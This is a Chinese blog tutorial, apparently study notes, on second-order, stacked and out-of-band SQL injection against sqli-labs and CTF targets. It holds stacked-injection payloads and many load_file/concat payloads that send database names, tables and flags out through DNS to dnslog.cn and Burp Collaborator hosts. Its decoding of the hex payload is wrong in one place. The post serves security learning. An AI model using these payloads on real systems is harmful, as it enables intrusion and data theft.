WEB攻防-sql注入系列4

知识点

SQL注入-二次注入&利用条件

SQL注入-堆叠注入&利用条件

SQL注入-带外注入&利用条件


这一部分比较难,先知道有这个知识点~~~

项目案例




二次注入

CMS-74CMS个人中心简历功能

黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据


堆叠注入


堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

!!![强网杯 2019]随便注

buuctf

';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;	

目标存在sql注入漏洞

目标未对";"号进行过滤

目标中间层查询数据库信息时可同时执行多条sql语句

最后一个地方将要查询的语句进行16进制编码,然后设置@a变量去存储。

prepare execsql from @a;execute execsql;

上述的SQL语句看起来像是针对某个数据库系统的操作。具体解释如下:

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460; 这部分语句是设置一个变量 @a 的值。该值是一个十六进制字符串。

prepare execsql from @a; 这部分语句使用前面设置的变量 @a 中的值作为动态SQL语句的内容进行准备操作。这意味着将要执行一个由变量 @a 中的十六进制字符串表示的SQL语句。

execute execsql; 这部分语句执行前面准备好的动态SQL语句,即执行变量 @a 中的十六进制字符串所表示的SQL语句。

请注意,具体的SQL语句和执行结果取决于你所使用的数据库系统以及十六进制字符串 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460 的内容。

0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460
将十六进制字符串解析为文本,得到的结果是:select flag from 0191981093111451454

在这里插入图片描述




带外注入


有部分注入点是没有回显的,所有读取也是没回显的,采用带外


注入条件
ROOT高权

secure-file-priv必须为空

支持load_file()
使用平台
http://www.dnslog.cn

burpSuite

http://ceye.io

应用场景

解决不回显,反向连接,SQL注入,命令执行,SSRF等



一些操作

dnslog

在这里插入图片描述

id=1 and load_file(concat("\\\\",sql语句,".dnslog地址\\Config"))	#config这个地方可写可不写,也可以随意写。

id=1 and load_file(concat("\\\\",database(),".bzmtld.dnslog.cn\\Config"))	#综合下来的

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",database(),".bzmtld.dnslog.cn\\Config"))	#最后执行,在页面看到了数据库


load_file(concat("\\\\",database(),".hmg2ej.dnslog.cn\\Config"))

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注意:如果没有显示,检查一下payload。然后重新进入正常页面刷新一次,然后再写payload再次执行

因为回显问题,一次只能显示一个。所以这里使用limit来完成。

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".bzmtld.dnslog.cn\\config"))

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),".bzmtld.dnslog.cn\\config"))

id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 2,1 ),".bzmtld.dnslog.cn\\config"))



http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".bzmtld.dnslog.cn\\config"))
#emails.bzmtld.dnslog.cn	183.203.37.66	2023-06-02 10:29:37

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 1,1 ),".bzmtld.dnslog.cn\\config"))
#flag.bzmtld.dnslog.cn	183.203.37.214	2023-06-02 10:31:59

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='security' limit 2,1 ),".bzmtld.dnslog.cn\\config"))
#referers.bzmtld.dnslog.cn	183.203.37.46	2023-06-02 10:32:47


在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='securitdy' and table_name='flag' limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='flag' limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))

在这里插入图片描述

id=1 and load_file(concat("\\\\",(select flag from flag limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",(select flag from flag limit 0,1),".bzmtld.dnslog.cn\\xxx.txt"))

在这里插入图片描述




burpSuite

也可以完成操作。

申请测试地址

在这里插入图片描述

在这里插入图片描述


然后复制出来会得到一个dns地址,如果忘记了,可以重新复制一个

在这里插入图片描述

md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com		#dns测试地址
id=1 and load_file(concat("\\\\",sql语句,".burp地址\\Config"))	#config这个地方可写可不写,也可以随意写。

id=1 and load_file(concat("\\\\",database(),".md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com\\Config"))	#综合下来的

http://192.168.5.1:81/Less-2/index.php?id=1 and load_file(concat("\\\\",database(),".md3dzr1hjqknsswb9gh0tfxltcz3nuhi6.oastify.com\\Config"))	#最后执行,在页面看到了数据库

点击poll now可以刷新。会看到已经看到了数据库名称。

在这里插入图片描述



这里要思考一个问题
本身在支持外带注入的同时需要满足的前提条件.
这个条件本身有许多的限制。过了这些才能完成在某些情况下中无法回显进行操作。

当满足的时候,其实sqlmap的os-shell或sql-shell更实用一点…

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值